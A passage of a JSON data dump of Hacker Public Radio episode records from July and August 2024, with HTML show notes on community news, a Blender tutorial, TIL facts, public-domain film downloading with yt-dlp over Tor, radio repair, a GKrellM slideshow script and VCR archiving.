                                                            • Real Link app for convenience but dislikes it
                                                            • \n
                                                            • Snapseed used for photo storage and organization
                                                            • \n
                                                            • Stocard app for barcode management
                                                            • \n
                                                            • Telly Health used for personal health through Better Help services
                                                            • \n
                                                            • Misnotifications app for reminder notifications
                                                            • \n
                                                            • Multi V&C desktop launcher for Android compression and accessibility features
                                                            • \n
                                                            • Google Translate used for OCR tasks
                                                            • \n
                                                            • Twitch used for break-sec security purposes
                                                            • \n
                                                            • Uber app for transportation
                                                            • \n
                                                            • Last Pass for password management
                                                            • \n
                                                            • Google Voice and Hound for various voice assistance tasks
                                                            • \n
                                                            • Yelp for restaurant search
                                                            • \n
                                                            • Land Zoom for work purposes
                                                            • \n
                                                            \n

                                                            TAKEAWAYS:

                                                            \n
                                                              \n
                                                            • Utilize Plex and Real Link for media content access
                                                            • \n
                                                            • Use Snapseed for photo storage and organization
                                                            • \n
                                                            • Stocard app helps manage barcodes
                                                            • \n
                                                            • Use Telly Health, Better Help for personal health needs
                                                            • \n
                                                            • Misnotifications for reminder notifications
                                                            • \n
                                                            • Multi V&C launcher for Android desktop compression and accessibility
                                                            • \n
                                                            • Google Translate for OCR tasks
                                                            • \n
                                                            • Twitch for break-sec security purposes
                                                            • \n
                                                            • Uber app for transportation
                                                            • \n
                                                            • Last Pass for password management
                                                            • \n
                                                            • Google Voice and Hound for various voice assistance tasks
                                                            • \n
                                                            • Yelp for restaurant search
                                                            • \n
                                                            • Land Zoom for work purposes
                                                            • \n
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hacking,back packing","version":0,"downloads":0,"valid":1}, {"id":4176,"date":"2024-08-05","title":"HPR Community News for July 2024","duration":2943,"summary":"HPR Volunteers talk about shows released and comments posted in July 2024","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n Trollercoaster, \n Lochyboy.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4151Mon2024-07-01HPR Community News for June 2024HPR Volunteers
                                                            4152Tue2024-07-02URandom Pirate Episode operat0r
                                                            4153Wed2024-07-03Steading as she goes!Dave Morriss
                                                            4154Thu2024-07-04About HPRKen Fallon
                                                            4155Fri2024-07-05GNU sleep tipsDeltaray
                                                            4156Mon2024-07-08Badger 2040Kevie
                                                            4157Tue2024-07-09Talking with Halla about the past and future of Krita for its 25th birthdayTrollercoaster
                                                            4158Wed2024-07-10Alexander's IntroductionLochyboy
                                                            4159Thu2024-07-11HPR New Years Eve Show 2023 - 24 ep 3Honkeymagoo
                                                            4160Fri2024-07-12PasskeysAhuka
                                                            4161Mon2024-07-15Building a retro gaming console with a Raspberry PiKevie
                                                            4162Tue2024-07-16HPR music project - Walking tune from ÄppelboFred Black
                                                            4163Wed2024-07-17Reintroducing myself while discussing Samba and tiny computersAl
                                                            4164Thu2024-07-18Postgraduate ComputingLee
                                                            4165Fri2024-07-19A circle of MossKen Fallon
                                                            4166Mon2024-07-22Everybody organize Software Freedom Day!Trollercoaster
                                                            4167Tue2024-07-23Removing another obstacle to recording an HPR showBeeza
                                                            4168Wed2024-07-24Beyond Economic RecoveryTrixter
                                                            4169Thu2024-07-25 HPR New Years Eve Show 2023 - 24 ep 4Honkeymagoo
                                                            4170Fri2024-07-26Playing Civilization III, Part 5Ahuka
                                                            4171Mon2024-07-29Al discusses the renovation of his bathroomAl
                                                            4172Tue2024-07-30Re: hpr4072 Piper voice synthesisArcher72
                                                            4173Wed2024-07-31Getting my 2015 Macbook Pro back up and runningswift110
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 23 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 3 comments on\n2 previous shows:

                                                            \n\n

                                                            This month's shows

                                                            \n

                                                            There are 20 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr4153\n(2024-07-03) \"Steading as she goes!\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-07-03:\n\"Wood finishing\"
                                                              • Comment 2:\nHenrik Hemrin on 2024-07-08:\n\"Teleprinter\"
                                                              • Comment 3:\nMrX on 2024-07-08:\n\"Re Wood Finishing\"
                                                              • Comment 4:\nMrX on 2024-07-08:\n\"Re Teleprinter\"
                                                              • Comment 5:\ndnt on 2024-07-24:\n\"Studio C\"
                                                              • Comment 6:\nDave Morriss on 2024-07-24:\n\"Re: Studio C\"

                                                              \n
                                                            • hpr4157\n(2024-07-09) \"Talking with Halla about the past and future of Krita for its 25th birthday\"\nby Trollercoaster.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2024-07-15:\n\"I loved the show\"

                                                              \n
                                                            • hpr4158\n(2024-07-10) \"Alexander's Introduction\"\nby Lochyboy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2024-07-10:\n\"Thanks for your first show!\"
                                                              • Comment 2:\nDave Lee (thelovebug) on 2024-07-11:\n\"Congratulations on your first show\"
                                                              • Comment 3:\nPeter Paterson (SolusSpider) on 2024-07-15:\n\"Excellent Introduction\"

                                                              \n
                                                            • hpr4162\n(2024-07-16) \"HPR music project - Walking tune from Äppelbo\"\nby Fred Black.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nFolky on 2024-07-16:\n\"More information\"

                                                              \n
                                                            • hpr4165\n(2024-07-19) \"A circle of Moss\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-07-19:\n\"Wonderful discussion!\"

                                                              \n
                                                            • hpr4168\n(2024-07-24) \"Beyond Economic Recovery\"\nby Trixter.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2024-07-24:\n\"Where in the world and the interest to preserve\"
                                                              • Comment 2:\nTrixter on 2024-07-30:\n\"Reply to Henrik\"

                                                              \n
                                                            • hpr4169\n(2024-07-25) \" HPR New Years Eve Show 2023 - 24 ep 4\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nRob on 2024-06-24:\n\"One person talking\"

                                                              \n
                                                            • hpr4172\n(2024-07-30) \"Re: hpr4072 Piper voice synthesis\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2024-07-24:\n\"Fails on Fedora 40\"
                                                              • Comment 2:\nArcher72 on 2024-07-26:\n\"Re:Fails on Fedora 40\"
                                                              • Comment 3:\nKen Fallon on 2024-08-01:\n\"More issues\"
                                                              • Comment 4:\nKen Fallon on 2024-08-02:\n\"It works\"

                                                              \n
                                                            • hpr4174\n(2024-08-01) \"Of the Mic and the Mop\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKnightwise on 2024-07-31:\n\"Posting on behalf of Knightwise, and with his permission.\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2024-July/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Repairing\nshows where external files have been lost

                                                            \n
                                                              \n
                                                            • A number of HPR shows have \"external\" files. These are things\nlike pictures, videos, example scripts and configuration files. During\nthe move to the current static site these were not copied over, and the\nshows on the HPR server have been incomplete since then (the Internet\nArchive versions are complete however).

                                                            • \n
                                                            • A process to \"repair\" these shows has been started. It relies on\nthe fact that there are copies of the lost files on the Internet\nArchive, and on a backup disk. These are being copied across to the HPR\nserver and linked into shows again.

                                                            • \n
                                                            • We are restoring the missing parts of shows one at a time. The\nprocess is largely automated, but there is still a manual component. We\nare gradually fully automating it as time allows.

                                                            • \n
                                                            • We will document the progress here.

                                                            • \n
                                                            • This is the current repair state:

                                                            • \n
                                                            \n
                                                                +------------+------------+--------------+------------------+\n    |    date    | repairable | repair_count | unrepaired_count |\n    +------------+------------+--------------+------------------+\n    | 2024-08-01 | 352        | 148          | 204              |\n    +------------+------------+--------------+------------------+
                                                            \n

                                                            Spectrum24 Conference

                                                            \n
                                                              \n
                                                            • spectrumconf@mastodon.radio - Remember, the call-for-booths for\nthe #spectrum24 conference is still open: If you are interested in\nshowing of your project to an audience that is just as passionate about\nradio as you, drop us a mail: info@spectrum-conference.org

                                                            • \n
                                                            • Check out the list of currently confirmed booths
                                                              \nhttps://spectrum-conference.org/24/booths

                                                            • \n
                                                            • Spectrum24 is free but, to manage the practicle side of the\nconference, we do ask you to register: https://ticketplace.ch/?op=booking&id=45

                                                            • \n
                                                            • #hamradio #callforbooths

                                                            • \n
                                                            \n

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4177,"date":"2024-08-06","title":"Blender 3D Tutorial #1","duration":4275,"summary":"Deltaray provides an audio tutorial of how to use the Blender 3D software","notes":"

                                                            In this tutorial I will guide you through the process of making this image. Check the comments of this episode later for information on where you can share your results.

                                                            \n\n

                                                            \"https://suso.suso.org/mediafiles/hpr-god-rays-small.jpg\"

                                                            \n\n

                                                            Since this is an audio tutorial, I recommend you consider using media player software that allows you to easily rewind, pause and skip around without issue. Something that allows you to use hotkeys to pause and rewind 10 seconds at a time would be ideal.

                                                            \n\n

                                                            Also, here are some important hotkeys that will be explained throughout the tutorial.

                                                            \n\n
                                                              \n
                                                            • Ctrl+s = Save your scene (do this frequently in case Blender crashes on you)\n
                                                            • Numpad 0 = Camera view\n
                                                            • g = grab\n
                                                            • r = rotate\n
                                                            • s = scale\n
                                                            • x,y,z = axis restrictions while using above keys\n
                                                            • Middle mouse button hold = rotate view of the scene\n
                                                            • Tab = Change between object mode and edit mode\n
                                                            • F12 = render scene\n
                                                            • ~ = From camera view, this will reposition your camera using the keys below.\n
                                                            • w,a,s,d,q,e = In camera view forward,left,backward, up, down\n
                                                            \n\n\n","hostid":194,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"blender,tutorial,open source,graphics","version":0,"downloads":0,"valid":1}, {"id":4178,"date":"2024-08-07","title":"Today I learnt (2024-07-27)","duration":461,"summary":"A few more things I learnt recently","notes":"
                                                            \n

                                                            TIL 1:\nMovement in the galaxy and mass extinctions

                                                            \n
                                                              \n
                                                            • Throughout the history of this planet there have been a number of\nmass extinctions. There are various theories about what has caused this.\nI came across one of these recently.
                                                            • \n
                                                            • The solar system doesn't orbit the galaxy in parallel with the\norientation of the galactic plane. There is a difference in the two\norientations in other words. Sometimes it's in the galactic plane, and\nat times it's \"above\" or \"below\".
                                                            • \n
                                                            • When in the plane the solar system is more protected from gamma ray\nbursts originating in the galaxy than when it's not. The period of\nrotation is the Galactic year and is about 225 million years\nlong.
                                                            • \n
                                                            • The thinking is that when less protected perhaps the cosmic\nradiation has effects on life on Earth. There seems to be a correlation\nbetween these events - gamma ray exposure and extinctions - though there\nis no certainty that this is so. Extinctions may have multiple causes,\nso the relationship cannot be simple.
                                                            • \n
                                                            • I have provided a few links that might give useful leads if you want\nto find out more.
                                                            • \n
                                                            \n

                                                            TIL 1: Links

                                                            \n\n

                                                            TIL 2: Which is correct -\nml or mL?

                                                            \n
                                                              \n
                                                            • What is the correct abbreviation for millilitre?
                                                            • \n
                                                            • I watch a YouTube channel about cooking, from Canada. It is Glen and Friends\nCooking
                                                            • \n
                                                            • The show ends with a recipe, and in some cases the measurements are\nmetric. Often it's something like 540 mL can of tomatoes.
                                                            • \n
                                                            • Having done Chemistry at school and university we were taught the\nabbreviated form of millilitre is ml, but today I\nlearnt that mixed case mL is also permitted and is preferred in\nthe USA, Canada and Australia, while Europe prefers lower case\nml.
                                                            • \n
                                                            • It's a similar situation with other fractions and multiples of a\nLitre such as dl and dL for decilitre and\neven for quettalitre (1030 litres) - Ql and\nQL.
                                                            • \n
                                                            \n

                                                            TIL 2: Links

                                                            \n\n

                                                            TIL 3: Meibomium glands

                                                            \n
                                                              \n
                                                            • These glands are a type of sebaceous gland in the eyelid. Sebaceous\nglands in general produce secretions to protect the skin and hair. On\nthe skin they are part of the hair follicle and produce an oily\nsubstance called sebum (from the Latin word for tallow\nused to make candles).
                                                            • \n
                                                            • The Meibomium glands are found along the edge of the eyelid adjacent\nto the eyelashes. The oily substance they produce helps to prevent the\neye surface from drying out by mixing with the tears. It also helps the\neyelids to make an airtight seal when the eyes are closed. There are\nmany functions.
                                                            • \n
                                                            • I knew about the Meibomium glands from learning about human anatomy\nas a student, but didn't know very much about their function.
                                                            • \n
                                                            • The glands are named after Heinrich Meibom (1638 – 1700), a German\nphysician and scholar.
                                                            • \n
                                                            • I didn't know that the secretions produced by these glands can\nreduce with age, or the glands can can be blocked, leading to MGD\n(Meibomium Gland Dysfunction). I might have this according to\nmy Optometrist.
                                                            • \n
                                                            • I also didn't know that the secretion has a name:\nmeibum.
                                                            • \n
                                                            \n

                                                            TIL 3: Links

                                                            \n\n
                                                            \n","hostid":225,"series":123,"explicit":1,"license":"CC-BY-SA","tags":"Galactic plane,Galactic year,extinction,millilitre,Meibomium glands","version":0,"downloads":0,"valid":1}, {"id":4179,"date":"2024-08-08","title":" HPR New Years Eve Show 2023 - 24 ep 5","duration":7069,"summary":" The HPR community comes together to converse","notes":"
                                                              \n
                                                            • Victoria Snowfields - https://www.visitvictoria.com/see-and-do/outdoor-and-adventure/snow-and-skiing/melbournes-snowfields

                                                            • \n
                                                            • Australian Shark Attacks - https://cosmosmagazine.com/nature/marine-life/australia-a-hotspot-as-shark-attack-deaths-rise/

                                                            • \n
                                                            • Zone Rouge (France) - https://en.wikipedia.org/wiki/Zone_rouge

                                                            • \n
                                                            • British Cloud Seeding - https://www.yourweather.co.uk/news/science/cloud-seeding-an-experiment-with-unpredictable-consequences-weather-manipulation-climate.html

                                                            • \n
                                                            • NATO - https://www.nato.int/

                                                            • \n
                                                            • Devon Flood - https://en.wikipedia.org/wiki/Lynmouth_Flood

                                                            • \n
                                                            • Veganism - https://en.wikipedia.org/wiki/Veganism

                                                            • \n
                                                            • Beyond Meat - https://www.beyondmeat.com/en-US/

                                                            • \n
                                                            • Guiness - https://www.guinness.com/en-us

                                                            • \n
                                                            • Veganuary Challenge - https://veganuary.com/en-us/

                                                            • \n
                                                            • Iisinglass - https://en.wikipedia.org/wiki/Isinglass

                                                            • \n
                                                            • Apiary - https://bestbees.com/2022/12/06/what-is-an-apiary/

                                                            • \n
                                                            • Vegan Kit-Kat - https://veganessentials.com/products/kit-kat-vegan-chocolate-bar

                                                            • \n
                                                            • Nestle Chocolate - https://www.nestle.com/

                                                            • \n
                                                            • Microplastics - https://oceanservice.noaa.gov/facts/microplastics.html

                                                            • \n
                                                            • Teflon - https://thegoodhuman.com/what-teflon-is-and-why-you-should-avoid-it/

                                                            • \n
                                                            • Dark Waters (film with Mark Ruffalo) - https://www.rogerebert.com/reviews/dark-waters-movie-review-2019

                                                            • \n
                                                            • Dupont - https://www.dupont.com/

                                                            • \n
                                                            • Erin Brockovich - https://abcnews.go.com/US/erin-brockovich-real-story-town-decades/story?id=78180219

                                                            • \n
                                                            • Jalapeno - https://pepperscale.com/jalapeno-peppers/

                                                            • \n
                                                            • Hawaiian Pizza - https://thecozycook.com/hawaiian-pizza/

                                                            • \n
                                                            • Why Tomatoes Were Thought To Be Poisonous? - https://www.smithsonianmag.com/arts-culture/why-the-tomato-was-feared-in-europe-for-more-than-200-years-863735/

                                                            • \n
                                                            • Nightshade Vegetables - https://www.realsimple.com/health/nutrition-diet/what-are-nightshade-vegetables

                                                            • \n
                                                            • Queue (British) - https://www.thoughtco.com/cue-and-queue-1689358

                                                            • \n
                                                            • Abel Tasman - https://en.wikipedia.org/wiki/Abel_Tasman

                                                            • \n
                                                            • Ivanhoe (Town in New South Wales) - https://www.abc.net.au/news/2019-02-09/outback-town-ivanhoe-fights-for-survival/10723852

                                                            • \n
                                                            • British Vs. American Car Terminology - https://www.hemmings.com/stories/2014/03/12/a-conversion-guide-to-british-auto-terminology

                                                            • \n
                                                            • British Vs. American spelling - https://blog.collinsdictionary.com/language-lovers/9-spelling-differences-between-british-and-american-english/

                                                            • \n
                                                            • Thongs Vs Flip Flops - https://threadcurve.com/flip-flops-vs-thongs/

                                                            • \n
                                                            • Thongs Vs G-strings - https://www.thelist.com/614429/when-should-you-wear-a-g-string-or-a-thong/

                                                            • \n
                                                            • Long Nose Vs Cab Over Trucks - https://www.carscoops.com/2023/04/this-is-why-america-stopped-building-european-style-cab-over-trucks/

                                                            • \n
                                                            • Road Train (truck) - https://blog.smartsense.co/road-trains

                                                            • \n
                                                            • Kangaroo Road Accidents - https://www.dinggo.com.au/blog/kangaroo-accident-statistics

                                                            • \n
                                                            • Coyotes In Boston Mass - https://www.nbcboston.com/news/local/more-coyotes-are-creeping-into-boston-neighborhoods-heres-why/2301397/

                                                              \n
                                                                \n
                                                              • https://www.nbcboston.com/news/local/coyote-sightings-in-jamaica-plain-have-residents-on-edge/3106545/

                                                              • \n
                                                              • https://www.cbsnews.com/boston/news/cohasset-coyotes-video-pack/

                                                              • \n
                                                            • \n
                                                            • Blue Heeler - https://www.thesprucepets.com/blue-heeler-4176567

                                                            • \n
                                                            • Dingo - https://australian.museum/learn/animals/mammals/dingo/

                                                            • \n
                                                            • Rabies - https://www.who.int/news-room/fact-sheets/detail/rabies

                                                            • \n
                                                            • Beaver Restoration - https://www.beaverinstitute.org/library_category/stream-restoration/

                                                            • \n
                                                            • Various Species of Carp - https://eatingthewild.com/types-of-carp/

                                                            • \n
                                                            • Silencers (Suppressors UK) for firearms - https://www.americanrifleman.org/content/suppressors-what-we-can-learn-from-the-uk-experience/

                                                            • \n
                                                            • Calicivirus - https://www.merck-animal-health-usa.com/condition/feline-calicivirus

                                                            • \n
                                                            • Snowshoe Hare - https://www.nwf.org/Educational-Resources/Wildlife-Guide/Mammals/Snowshoe-Hare

                                                            • \n
                                                            • Weasels - https://www.mentalfloss.com/article/64193/7-fierce-facts-about-weasels

                                                            • \n
                                                            • Wolverine - https://www.nwf.org/Educational-Resources/Wildlife-Guide/Mammals/Wolverine

                                                            • \n
                                                            • Ferret - https://www.ferret-world.com/ferret-facts/types-of-ferrets/

                                                            • \n
                                                            • Polecat - https://www.wildlifetrusts.org/wildlife-explorer/mammals/polecat

                                                            • \n
                                                            • Bobcat - https://a-z-animals.com/animals/bobcat/

                                                            • \n
                                                            • Lynx - https://animalcorner.org/animals/lynx/

                                                            • \n
                                                            • Mountain Lion - https://www.nwf.org/Educational-Resources/Wildlife-Guide/Mammals/Mountain-Lion

                                                            • \n
                                                            • Black Angus Beef - https://www.thespruceeats.com/what-to-know-about-angus-beef-333745

                                                            • \n
                                                            • Heating Pad For Screen Repair - https://www.ifixit.com/products/cpb-heating-pad-for-screen-and-battery-replacement

                                                            • \n
                                                            • Raspberry Pi 400 - https://www.raspberrypi.com/products/raspberry-pi-400/

                                                            • \n
                                                            • Micro HDMI - https://www.howtogeek.com/745530/hdmi-vs-mini-hdmi-vs-micro-hdmi-whats-the-difference/

                                                            • \n
                                                            • MX Linux - https://mxlinux.org/

                                                            • \n
                                                            • Raspberry Pi 5 - https://www.raspberrypi.com/products/raspberry-pi-5/

                                                            • \n
                                                            • Orange Pi - http://www.orangepi.org/

                                                            • \n
                                                            • Transcoding - https://corp.kaltura.com/blog/what-is-transcoding/

                                                            • \n
                                                            • CODEC - https://www.howtogeek.com/763274/what-is-a-codec/

                                                            • \n
                                                            • Geekworm Raspberry Pi Cases - https://geekworm.com/collections/raspberry-pi

                                                            • \n
                                                            • Seedstudio - https://www.seeedstudio.com/

                                                            • \n
                                                            • Argon One Pi Case - https://argon40.com/collections/raspberry-pi-cases

                                                            • \n
                                                            \n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":" new years, linux, community.","version":0,"downloads":0,"valid":1}, {"id":4180,"date":"2024-08-09","title":"Intro to Science Fiction Series","duration":952,"summary":"I'm starting a new series on science fiction and fantasy, and this introduces it","notes":"

                                                            This introduction takes us through my history of both reading and\nwatching science fiction and fantasy, and perforce introduces many of\nthe topics I will explore in more depth.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, fantasy, books, TV, movies","version":0,"downloads":0,"valid":1}, {"id":4181,"date":"2024-08-12","title":"Downloading out of copyright movies","duration":107,"summary":"Using tor proxy with yt-dlp to get public domain movies","notes":"

                                                            Downloading out of\ncopyright movies

                                                            \n

                                                            Hi my name is Bob. I've commented a few times, but this is my first\nepisode.

                                                            \n

                                                            I'm using text to speech as suggested by Beeza\nin episode hpr4167 ::\nRemoving another obstacle to recording an HPR show but using\npiper from hpr4172 ::\nRe: hpr4072 Piper voice synthesis by Archer72.

                                                            \n

                                                            For this tutorial I suggest how it might be possible to use tor browser to download\ndifficult to find public domain works.

                                                            \n

                                                            As well as letting you browse privately, it also enables a SOCKS Proxy which other\napplications can use.

                                                            \n

                                                            Wikipedia maintains a list of List\nof films in the public domain in the United States.

                                                            \n

                                                            I found out about this list after reading Copyright\nin Zombies, Vampires, Frankenstein and More!.

                                                            \n

                                                            Once you have ensured that it's perfectly legal do download the movie\nin your Jurisdiction, then use tor to go to duck duck go video\nsearch.

                                                            \n

                                                            In our hypothetical scenario, say we wanted to download Night\nof the Living Dead, released in 1968 by Director George A. Romero\nand came out of copyright in 1968 due to \"Missing copyright notice and\nerrors from the distributor.\" From List\nof films in the public domain in the United States Night of the\nLiving Dead entered the public domain because the original theatrical\ndistributor, the Walter Reade Organization, neglected to place a\ncopyright indication on the prints. In 1968, United States copyright law\nrequired a proper notice for a work to maintain a copyright\"

                                                            \n

                                                            This is why there are so many variations on zombie movies.

                                                            \n

                                                            In the example ok.ru is the site hosting the movie, and it has a link\nof https://ok.ru/video/foo_bar

                                                            \n

                                                            It would be simple enough to just point yt-dlp - A feature-rich\ncommand-line audio/video downloader, to the url and download it.

                                                            \n

                                                            You could also take advantage of the fact that yt-dlp supports a SOCKS\nproxy.

                                                            \n
                                                            --proxy URL\n    Use the specified HTTP/HTTPS/SOCKS proxy.  To enable SOCKS proxy, specify a proper scheme, e.g.  socks5://user:pass@127.0.0.1:1080/.  Pass in an empty st9ring (--proxy "") for direct connection
                                                            \n

                                                            So if you were to run\nyt-dlp --proxy socks5://localhost:9150 https://ok.ru/video/foo_bar\nit would download the movie via tor.

                                                            \n

                                                            I am in no way condoning the downloading of illegal material, and am\nnot suggesting in any way that you do so.

                                                            \n","hostid":435,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"PublicDomain,Copyright,Tor,yt-dlp","version":0,"downloads":0,"valid":1}, {"id":4182,"date":"2024-08-13","title":"Replacing backup batteries in my Kenwood TS940S HF Radio Part 1","duration":1571,"summary":"This is part 1 recording my experience of replacing backup button batteries in my HF ham radio","notes":"

                                                            Note: all pictures are thumbnails which\ncan be clicked to show the full-sized image

                                                            \n

                                                            Picture 1
                                                            \n
                                                            \nShows my beloved Kenwood TS-940S notice that the display on the top\nright of the radio displays the words “TRIO-KENWOOD” this indicates that\nthe backup battery has failed. Under normal condition it would display\nthe time.

                                                            \n

                                                            Wikipedia\narticle about an S0239 connector. This being the Antenna connector\nwhich I had to remove before being able to work on the radio.

                                                            \n

                                                            Link to the\nYouTube video I used that described the process of removing the two\nbackup batteries in a Kenwood TS-940S. The video was very useful and\nwas very informative however as per usual it looked far easier than it\nactually was or perhaps I’m just rubbish at taking radios to bits.

                                                            \n

                                                            Picture 2
                                                            \n
                                                            \nShows a view of the radio with its top cover removed

                                                            \n

                                                            The backup battery for the clock is tucked away underneath the front\ntop lip of the radio directly behind the display that showed\n“TRIO-KENWOOD” This being above the front panel keypad.

                                                            \n

                                                            The second backup battery is for the PLL (Phase-locked loop memories)\nit is located underneath the speaker and switches to the right of the\nspeaker. Wikipedia article\nabout PLL (Phase-locked loop)

                                                            \n

                                                            The Antenna tuning unit which I briefly mention is located at the\nback right hand side of the unit. You can see the four holes on the top\nof the panel presumable to allow for adjustments. To the left of the\nfour holes you can see the two motors that drive the tuning adjustments\nwhen the auto tune (AT.T) button is depressed. Wikipedia article\nabout Antenna Tuners

                                                            \n

                                                            Wikipedia article\nabout soldering that mentions dry joints

                                                            \n

                                                            Link to TechMoan You-tube episode about a piece of audio equipment\nthat is destroyed by a leaking battery (Sony’s\nself-destructing MD Recorder from 2070).

                                                            \n

                                                            Picture 3
                                                            \n
                                                            \nShows a view of inside the radio with the bottom cover removed. The\nradio is very analogue compared with modern radios. It contains many\nadjustable ferrite cores which I would imagine would be a bit of\nnightmare to setup. It also has a lot of electro mechanical relays.\nThese days it would all be done with solid state electronics and with a\nsmall number of large scale integrated circuits. They truly don’t make\nradios like this any more.

                                                            \n

                                                            The connector which I removed from the timer board to allow the front\npanel to rotate down can be seen in Picture 2. The timer board is a\nsmall printed circuit board that sits on the top of the radio slightly\nto the right and behind the clock display.

                                                            \n

                                                            Picture 4
                                                            \n
                                                            \nShows the three internal side screws that need to be removed in order to\nallow the front panel to be rotated down this being done to gain access\nto the clock backup battery.

                                                            \n

                                                            Picture 5
                                                            \n
                                                            \nShows a close up of the failed clock backup battery (silver disk with\norange rim), the cable harness with the black rigid plastic cable tie\nwhich was already open. I can’t remember which connector was removed\neither the one to the right of the battery or the one just out of sight\nat the extreme bottom left hand side of the picture.

                                                            \n

                                                            Picture 6
                                                            \n
                                                            \nShows the radio hanging over the desk with the front panel now rotated\ndown. I now have clear access to the clock backup battery which I’ll\ncover in my next episode.

                                                            \n","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"repair, electrical, DIY","version":0,"downloads":0,"valid":1}, {"id":4183,"date":"2024-08-14","title":"What's in Kevie's holiday bag:","duration":562,"summary":"Kevie discusses what was in his holiday bag.","notes":"TuxJam co-host Kevie recently went on Holiday to Cyprus and he discusses what he had in his holiday bag:\n\n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"holiday, backpack, summer","version":0,"downloads":0,"valid":1}, {"id":4184,"date":"2024-08-15","title":"Use GKRellM, wget and ImageMagick for a live slideshow","duration":577,"summary":"GKRellm can show live thumbnails. This script gets fresh data and types text on the images.","notes":"

                                                            This segment is about image magic and the GK Relim system monitor and\nhighway web cameras.

                                                            \n

                                                            The\nBritish Columbia HighwayCams website allows you to view highway\nconditions, traffic, and weather information at a glance.

                                                            \n

                                                            GNU Wget is a free\nsoftware package for retrieving files using HTTP, HTTPS, FTP and FTPS,\nthe most widely used Internet protocols. It is a non-interactive\ncommandline tool, so it may easily be called from scripts, cron jobs,\nterminals without X-Windows support, etc.

                                                            \n

                                                            ImageMagick is a free,\nopen-source software suite, used for editing and manipulating digital\nimages. It can be used to create, edit, compose, or convert bitmap\nimages, and supports a wide range of file formats, including JPEG, PNG,\nGIF, TIFF, and Ultra HDR.

                                                            \n

                                                            GKrellM is a single process\nstack of system monitors which supports applying themes to match its\nappearance to your window manager, Gtk, or any other theme.

                                                            \n

                                                            Here is how the thumbnails and my own GKrellM monitor look:

                                                            \n\n\n

                                                            The bash script can be\nfound here.

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • https://gemlog.gemlog.ca/
                                                            • \n
                                                            • https://images.drivebc.ca/bchighwaycam/pub/html/www/index-Northern.html
                                                            • \n
                                                            • https://www.gnu.org/software/wget/
                                                            • \n
                                                            • https://imagemagick.org/
                                                            • \n
                                                            • http://gkrellm.srcbox.net/
                                                            • \n
                                                            \n","hostid":425,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"gkrellm,ImageMagick,linux,CommandLine,bash","version":0,"downloads":0,"valid":1}, {"id":4185,"date":"2024-08-16","title":"Archiving VCR or any other RCA media","duration":1035,"summary":"VCR players are starting to get expensive so now is the time to archive.","notes":"

                                                            Archiving VCR or any other\nRCA media

                                                            \n

                                                            After my Father passed away, I volunteered to archive his Video\nCassette Recorder (VCR) collection to disk for the family. You might\nbe aware that Europe used Phase Alternating Line (PAL) is\na colour encoding system for\nanalog\ntelevision. It was one of three major analogue colour television\nstandards, the others being\nNTSC and\nSECAM.

                                                            \n

                                                            Ireland used PAL-I, a version based on CCIR System I,\nwhich meant that none of the VCR players in the Netherlands would work.\nSo in addition to having to carry 113 Video Cassettes on a RyanAir\nFlight, I also needed to bring the Video Player as well.

                                                            \n

                                                            Hardware

                                                            \n\n

                                                            These are the ones I used but I don't recommend them one way or the\nother. The parts are fairly generic so use what you can get.

                                                            \n\n\"The\n\n\n

                                                            Connection

                                                            \n

                                                            First drop to a console and list the connected usb devices

                                                            \n

